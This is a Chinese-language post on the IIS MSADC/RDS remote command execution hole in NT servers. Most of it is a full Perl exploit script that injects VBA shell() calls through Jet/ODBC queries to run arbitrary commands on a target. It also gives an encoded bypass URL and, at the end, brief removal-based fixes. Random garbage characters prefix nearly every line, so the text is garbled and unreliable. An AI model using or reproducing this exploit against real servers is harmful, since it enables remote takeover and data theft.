IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
X }C } q_K8vGm4e 涉及程序：
A]^RV{P Microsoft NT server
L5 ~wX U 1!6%x 描述：
s
8O"U% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:^7/+|}9p ]p C/6' 详细：
W=j 如果你没有时间读详细内容的话，就删除:
H.#<&5f c:\Program Files\Common Files\System\Msadc\msadcs.dll
YD1
:m3 l! 有关的安全问题就没有了。
X,dOF=OJL luAmq+ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
V*HkF T x`/"1]Nf 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
:s|" ZR 关于利用ODBC远程漏洞的描述，请参看:
t_cNH@^3<3 _Eo $V& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R]hilb'a _s{on/u 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
#1c%3KaZ I http://www.microsoft.com/security/bulletins/MS99-025faq.asp b`M 2VZu $A"C1)d; 这里不再论述。
q))r lMo ^ 'W<| 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
T;jy2|mLo *V}T}nK7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
U'8+YAgc 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
4 0as7. q "i3wc&9!?W T 2Uu/^ #将下面这段保存为txt文件，然后: "perl -x 文件名"
[k qx%4q) p2Yc:9r9+A #!perl
d'Cn] < #
GcXh
V # MSADC/RDS 'usage' (aka exploit) script
F2jZ3[P #
xx[XwN; # by rain.forest.puppy
4 XSEN ]F #
Y#[jDS(ip # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
>drG,v0qh # beta test and find errors!
CHxu%- g !
*Snx use Socket; use Getopt::Std;
vV 5dW getopts("e:vd:h:XR", \%args);
#w_cos [I 7mG/f print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
36ygI0V_ {*!L[) if (!defined $args{h} && !defined $args{R}) {
V}c3}'_U] print qq~
53> y< Usage: msadc.pl -h <host> { -d <delay> -X -v }
tS|gQUF17 -h <host> = host you want to scan (ip or domain)
RE~9L5i5 -d <seconds> = delay between calls, default 1 second
Z]U"i 1lA -X = dump Index Server path table, if available
dV_ClH &) -v = verbose
ECq(i( -e = external dictionary file for step 5
/{h@A~<96 /1A3
Sw Or a -R will resume a command session
PtP{_9%Dz 2Fwp\I; ~; exit;}
NF9fPAF%; |ipL.<v7 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Pv@P(y?\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
<0R$yB if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-%R3 YU3 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>/W $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
PHZ+u@AA6@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<:(p nw*L 0^?:Zds if (!defined $args{R}){ $ret = &has_msadc;
] mO$Tg&s~ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
X9ua&T2(l `cu W^/c print "Please type the NT commandline you want to run (cmd /c assumed):\n"
$Sz@u"ig% . "cmd /c ";
fjD/<` }v $in=<STDIN>; chomp $in;
~cC =De X $command="cmd /c " . $in ;
Sx yXz8+e[ T
>BlnA if (defined $args{R}) {&load; exit;}
# !:u*1 ANqWY &f print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5%` fh% &try_btcustmr;
k&TZ
q 6R`` print "\nStep 2: Trying to make our own DSN...";
:!',o]"4,k &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
K+2sq+ 3q ~8fy
qE$ print "\nStep 3: Trying known DSNs...";
7sgK+
ip &known_dsn;
wlSl ~A/s Q7 V* ~{ print "\nStep 4: Trying known .mdbs...";
$q }zW% &known_mdb;
G3[X.%g` v@_^h}h/,= if (defined $args{e}){
|AgdD print "\nStep 5: Trying dictionary of DSN names...";
j%_{tB &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.
#+ N?D< yH YqJ|t print "Sorry Charley...maybe next time?\n";
`;X~$uS exit;
..Q$q2. )1E[CIaXK ##############################################################################
qe M`z | r|<cc# sub sendraw { # ripped and modded from whisker
T;?=, 'u sleep($delay); # it's a DoS on the server! At least on mine...
( TKn'2 my ($pstr)=@_;
%8U/!(.g socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ZeB"k)FI> die("Socket problems\n");
WD`z\{hcom if(connect(S,pack "SnA4x8",2,80,$target)){
45?aV@ select(S); $|=1;
'r/+z a:2 print $pstr; my @in=<S>;
]6)~Sj$ 5 select(STDOUT); close(S);
WR5@ S&fU` return @in;
$ 9~6M* } else { die("Can't connect...\n"); }}
H YA < _BC%98:WP ##############################################################################
Ln&'5D# G0e]PMeFl sub make_header { # make the HTTP request
>0^oC[ B my $msadc=<<EOT
\:7G1_o POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
n:TW Z.9 User-Agent: ACTIVEDATA
r2t|,%%N7 Host: $ip
9V ]{q Content-Length: $clen
Vn7FbaO^ Connection: Keep-Alive
E2hy%y9Tp NA=I7I@ ADCClientVersion:01.06
\Uz7ar#, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
d3,%Z & ~tw #Q --!ADM!ROX!YOUR!WORLD!
!L| }/u3v Content-Type: application/x-varg
lla ? ;^, Content-Length: $reqlen
LtJl \m.th bi01] EOT
\ytF@"7 ; $msadc=~s/\n/\r\n/g;
F\K&$5J{p return $msadc;}
t @ _MWF W##~gq Z/ ##############################################################################
U3oMY{{E J ff{ L=uj sub make_req { # make the RDS request
E((U=P}+g my ($switch, $p1, $p2)=@_;
goJK~d8M* my $req=""; my $t1, $t2, $query, $dsn;
Xc>M_%+ R
VuU{7: if ($switch==1){ # this is the btcustmr.mdb query
%I`%N2s s $query="Select * from Customers where City=" . make_shell();
3?n2/p
7= $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
AlVB hR` $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
@N(*1,s2 OrG1Mfx&2% elsif ($switch==2){ # this is general make table query
w$`[C+L $query="create table AZZ (B int, C varchar(10))";
ktEdbALK $dsn="$p1";}
@7}]\}SR [?Q U'[ elsif ($switch==3){ # this is general exploit table query
b23 5Zm $query="select * from AZZ where C=" . make_shell();
RE K(^1
h $dsn="$p1";}
hxT {!g Hv3<gyD elsif ($switch==4){ # attempt to hork file info from index server
QDHTP|2e $query="select path from scope()";
oh?@[U $dsn="Provider=MSIDXS;";}
mdNIC s MZ90 Q$ elsif ($switch==5){ # bad query
+N3f{-{"Yo $query="select";
X~o6Xkg $dsn="$p1";}
zJMm=Mw^ >QA;02 $t1= make_unicode($query);
=sIkA)"!= $t2= make_unicode($dsn);
-wdd'G $req = "\x02\x00\x03\x00";
8AGP*"gI $req.= "\x08\x00" . pack ("S1", length($t1));
Y|3n^%I $req.= "\x00\x00" . $t1 ;
w4<n =k $req.= "\x08\x00" . pack ("S1", length($t2));
>Q-"-X1 $req.= "\x00\x00" . $t2 ;
l,lfkm $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Szb# :C return $req;}
h!zev~u1)` grs~<n|o\ ##############################################################################
IEP^u
`} CGp7 Tx # sub make_shell { # this makes the shell() statement
V_Xq&!HN[ return "'|shell(\"$command\")|'";}
Q7{/ T 0 7_ G$& ##############################################################################
mne?r3d O]1aez[ sub make_unicode { # quick little function to convert to unicode
-Uj3?W my ($in)=@_; my $out;
x("V +y* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
1SwKd*aRR? return $out;}
xNAa,aMM &BZjQK ##############################################################################
UG,< \k& @ 5,Xr`] sub rdo_success { # checks for RDO return success (this is kludge)
qOD:+b my (@in) = @_; my $base=content_start(@in);
R2Y.s^ if($in[$base]=~/multipart\/mixed/){
-~rZ| W~v return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5
A2u|UU return 0;}
sI OT6L^7 {;2Gl $\r ##############################################################################
D= ^|6} 7jzd
I! sub make_dsn { # this makes a DSN for us
P2t9RCH my @drives=("c","d","e","f");
Ia%S=xU{= print "\nMaking DSN: ";
"BvAiT{u foreach $drive (@drives) {
3[UB3F 4K print "$drive: ";
i 2y E-sgF my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7l H.>n "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
` JZ `j7f . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6|@\\\l $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
g~v>{F+u return 0 if $2 eq "404"; # not found/doesn't exist
U(~d^9/# if($2 eq "200") {
nv OJY6)$V foreach $line (@results) {
MRb6O!$`C return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
h3YWqSj } return 0;}
wj$WE3Y 4COo ~d ##############################################################################
R\MFh!6sn gc[BP>tl\ sub verify_exists {
5f- eWW]! my ($page)=@_;
tX g>R _\C my @results=sendraw("GET $page HTTP/1.0\n\n");
]7/6u.G7R return $results[0];}
mNDd>4%H_ *f*o
,~8V1 ##############################################################################
\-n bV#{ )d =8)9B sub try_btcustmr {
C4.g}q my @drives=("c","d","e","f");
sqE? U*8.- my @dirs=("winnt","winnt35","winnt351","win","windows");
]N4?*S*jd) JIh:IR(ta foreach $dir (@dirs) {
~}@cSv'(1 print "$dir -> "; # fun status so you can see progress
^)i1b:4 foreach $drive (@drives) {
S uo print "$drive: "; # ditto
XR@C^d $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8Ben}j)H $reqlenlen=length( "$reqlen" );
=P)H3|AdIm $clen= 206 + $reqlenlen + $reqlen;
8;q2W
F{AX (O`2$~mIM my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Zm Kxs^5S if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
)oCb9K:km else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
'.5_L8 ;UPI%DnE] ##############################################################################
gQ;1SY! v$]eCj' sub odbc_error {
5LVzT1j| my (@in)=@_; my $base;
UgC{ my $base = content_start(@in);
wxW\L!@ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
(-bLP $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{[Z}<#n) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I?~iEO\nh $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/xh/M@G3 return $in[$base+4].$in[$base+5].$in[$base+6];}
aS)Gj?Odf print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
NB#- W4NA print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
4lsg%b6_%, $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
3?Tk[m1b Dqg~g|(Q< ##############################################################################
M
# ) @! .j l|? o sub verbose {
tMOhH
# my ($in)=@_;
i286`SLU return if !$verbose;
fKQq]&~
H print STDOUT "\n$in\n";}
Q3P*&6wA "qxu9Hg! ##############################################################################
;RW0 24 |9x H9@^f sub save {
KL^hYjC my ($p1, $p2, $p3, $p4)=@_;
0hoi=W6AQ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
U{|WN7Q:A print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
o^*k
close OUT;}
%DIZgPd\ jFPD SR5 ##############################################################################
Qk#`e Y !*F-v@ sub load {
TBr@F|RXiO my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d"~-D; open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{~a+dEz @p=<IN>; close(IN);
*c{X\!YBh $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
# *)X+ * $target= inet_aton($ip) || die("inet_aton problems");
%D
$+Z( print "Resuming to $ip ...";
%[ J|n~8_Z $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
?o883!&v if($p[1]==1) {
vC |V8ea $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
xa]e9u% $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
['#3GJz- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
)DwHLaLW if (rdo_success(@results)){print "Success!\n";}
;($" _h else { print "failed\n"; verbose(odbc_error(@results));}}
/^^wH W: elsif ($p[1]==3){
F ?*ko, if(run_query("$p[3]")){
JR^#NefJ print "Success!\n";} else { print "failed\n"; }}
yf@DaIG elsif ($p[1]==4){
Unc_e if(run_query($drvst . "$p[3]")){
)D>= \ Me print "Success!\n"; } else { print "failed\n"; }}
*wNO3tP't exit;}
5 4vDP 9 x-Ug(/!^ ##############################################################################
KXvBJA$ ReZ&SNJ sub create_table {
u~\I my ($in)=@_;
s$PPJJT{b $reqlen=length( make_req(2,$in,"") ) - 28;
+L>?kr[i[ $reqlenlen=length( "$reqlen" );
WB(Gx_o3 $clen= 206 + $reqlenlen + $reqlen;
S3F8Chk5 my @results=sendraw(make_header() . make_req(2,$in,""));
w$j!89@) return 1 if rdo_success(@results);
pj/w9j G6 my $temp= odbc_error(@results); verbose($temp);
ML-?#jNa< return 1 if $temp=~/Table 'AZZ' already exists/;
SU 80i` return 0;}
G }ccf% j c-$l ##############################################################################
wD|I^y; =lG/A[66 sub known_dsn {
{- Y.C*E # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
y>jP]LR4 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
H I%#S&d "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
9}*<8%PSt, "banner", "banners", "ads", "ADCDemo", "ADCTest");
ie9,y e" .Mz'h 9@ foreach $dSn (@dsns) {
X|wg7>kh*` print ".";
1?hx/02 next if (!is_access("DSN=$dSn"));
-er8(snDQ if(create_table("DSN=$dSn")){
Yj/[I\I"m print "$dSn successful\n";
[r f.& if(run_query("DSN=$dSn")){
.^aqzA=] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
u{d\3-]/ print "Something's borked. Use verbose next time\n";}}} print "\n";}
W &HF*Aw T]0H&Oov ##############################################################################
qG?svt F!pgec%]' sub is_access {
v>oWk:iJP my ($in)=@_;
9W +RUh^W $reqlen=length( make_req(5,$in,"") ) - 28;
KE*8Y4#9 $reqlenlen=length( "$reqlen" );
9? L,DThQ $clen= 206 + $reqlenlen + $reqlen;
9Atnnx]n my @results=sendraw(make_header() . make_req(5,$in,""));
AttS?TZr my $temp= odbc_error(@results);
/@`kM'1:
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
D g~L" return 0;}
Z @d(0 z [44C`x[8M+ ##############################################################################
V9cKl[ GT3 ?)g{Z sub run_query {
4ht+u my ($in)=@_;
uqFY a bU $reqlen=length( make_req(3,$in,"") ) - 28;
bz4TbGg] $reqlenlen=length( "$reqlen" );
^j>w<ljzz $clen= 206 + $reqlenlen + $reqlen;
TeXt'G=M my @results=sendraw(make_header() . make_req(3,$in,""));
/lqVMlz\77 return 1 if rdo_success(@results);
j| X>:!4r my $temp= odbc_error(@results); verbose($temp);
Exu >% return 0;}
zc#$hIi DSX.84 ##############################################################################
\I[50eh| .Q VZ! sub known_mdb {
"B"Yf g[ my @drives=("c","d","e","f","g");
( {} Z
' my @dirs=("winnt","winnt35","winnt351","win","windows");
*%;+3SV my $dir, $drive, $mdb;
RwyRPc _ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`Eq~W@';Q0 MeMSF8zS Q # this is sparse, because I don't know of many
f tE2@} my @sysmdbs=( "\\catroot\\icatalog.mdb",
w0(1o_F7. "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
rmh 1.W "\\system32\\certmdb.mdb",
wM
aqR"% "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
"2
"gTS ;(I')[R " my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
EnD }|9
"\\cfusion\\cfapps\\forums\\forums_.mdb",
.{ +Ob i "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
KYN{Dh]- } "\\cfusion\\cfapps\\security\\realm_.mdb",
r< ~pSj "\\cfusion\\cfapps\\security\\data\\realm.mdb",
'7;b+Vbl# "\\cfusion\\database\\cfexamples.mdb",
?Q #yf8 "\\cfusion\\database\\cfsnippets.mdb",
Q -7C'| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
j, @@[{tu "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
T2/lvvG "\\cfusion\\brighttiger\\database\\cleam.mdb",
bxR6@ "\\cfusion\\database\\smpolicy.mdb",
BfOQ/k)) "\\cfusion\\database\cypress.mdb",
PTZ/j g@71 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Z?"f# "\\website\\cgi-win\\dbsample.mdb",
'PK ;Fg\ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|'ML
)`c[ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Fx6]x$3 ); #these are just
\:vHB! 2E foreach $drive (@drives) {
@e OD+h' foreach $dir (@dirs){
) u
Sg;B4 foreach $mdb (@sysmdbs) {
q"C(`S.@ print ".";
|18h
p if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9qcA+gz:| print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
gR\-%<42 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
nEgDwJ<wl print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
%TUvH> ;0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
M| DVFC ^]{m* bEkR foreach $drive (@drives) {
{2,vxGi foreach $mdb (@mdbs) {
Z\. n 6 print ".";
*JT,]7> if(create_table($drv . $drive . $dir . $mdb)){
tkj QSz print "\n" . $drive . $dir . $mdb . " successful\n";
&Ay[mZQ 7 if(run_query($drv . $drive . $dir . $mdb)){
NcMohpkq print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
vj,OX~| } else { print "Something's borked. Use verbose next time\n"; }}}}
AAW])c`. }
/|MHZ$Y9w? PqDffZ^z ##############################################################################
\{u 9Kc TG^?J` sub hork_idx {
B/F6WQdZ print "\nAttempting to dump Index Server tables...\n";
Q!*}^W print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
|S0nR<x-M $reqlen=length( make_req(4,"","") ) - 28;
1~aP)q $reqlenlen=length( "$reqlen" );
g:rjt1w`D $clen= 206 + $reqlenlen + $reqlen;
F :p9y_W my @results=sendraw2(make_header() . make_req(4,"",""));
J<;@RK,c_ if (rdo_success(@results)){
d":GsI?3 my $max=@results; my $c; my %d;
U_[<,JE for($c=19; $c<$max; $c++){
T0TgV $results[$c]=~s/\x00//g;
`WRM7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$s.:H4:I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
{ i#z <ttu $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
W b{0UkApJ $d{"$1$2"}="";}
hb ="J349 foreach $c (keys %d){ print "$c\n"; }
J1UG}, -h } else {print "Index server doesn't seem to be installed.\n"; }}
-g\ ;B s{9 G// ##############################################################################
` G - V
% >h3m/aeNC sub dsn_dict {
ZULnS*V;5 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
iO@UzD #v while(<IN>){
ic;M=dsh: $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
OC=g 1 next if (!is_access("DSN=$dSn"));
dtx3;d<NsJ if(create_table("DSN=$dSn")){
X%rsa7H3J print "$dSn successful\n";
euiP<[|h= if(run_query("DSN=$dSn")){
n4sO#p)' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
r?2EJE2{ V print "Something's borked. Use verbose next time\n";}}}
,[UK32KWI print "\n"; close(IN);}
D8 BmC D mtCEKa ##############################################################################
SE<?l QCAoL.v sub sendraw2 { # ripped and modded from whisker
aDZ,9} sleep($delay); # it's a DoS on the server! At least on mine...
OaeX:r+&Q my ($pstr)=@_;
AEd]nVV Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*hvC0U@3 die("Socket problems\n");
F?+\J =LT if(connect(S,pack "SnA4x8",2,80,$target)){
C2} f' print "Connected. Getting data";
4H4ui&|7u6 open(OUT,">raw.out"); my @in;
W\Df:P {< select(S); $|=1; print $pstr;
E! GH$%:; while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
c 4V%>A close(OUT); select(STDOUT); close(S); return @in;
yQ!I`T>a } else { die("Can't connect...\n"); }}
<q.Q,_cW ?>/9ae^Bw ##############################################################################
>r\q6f#J4 `F`{s`E) sub content_start { # this will take in the server headers
.L@gq/x) my (@in)=@_; my $c;
#1De#u Z for ($c=1;$c<500;$c++) {
1Eh6ti if($in[$c] =~/^\x0d\x0a/){
Y?v{V>;*A if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
zv bO
q else { return $c+1; }}}
bY UG4+rD return -1;} # it should never get here actually
\k
6'[ln H):(8/> ( ##############################################################################
%WF]mF T_ ,n3e8qd sub funky {
e);`hNLih my (@in)=@_; my $error=odbc_error(@in);
Z^!%
b if($error=~/ADO could not find the specified provider/){
"IN[( print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Qg]+&8!* exit;}
%k'>bmJ if($error=~/A Handler is required/){
<&RpGAk%I print "\nServer has custom handler filters (they most likely are patched)\n";
\2))c@@% exit;}
$a'}7Q_ if($error=~/specified Handler has denied Access/){
=&I9d;7 print "\nServer has custom handler filters (they most likely are patched)\n";
IOT-R!.5V exit;}}
#w@V !o Qo ~|[]GE ##############################################################################
Ggk#>O G `0, G' F sub has_msadc {
=}g-N)^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
mg]t)+ PQ my $base=content_start(@results);
!nU|3S[b
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
4;*jE ( return 0;}
NHiac(&* p""\uG' ########################
+"1fr
X;]I jha<* \q@Co42n\ 解决方案：
bae;2| w 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Y'<wE2ZL) 2、移除web 目录: /msadc
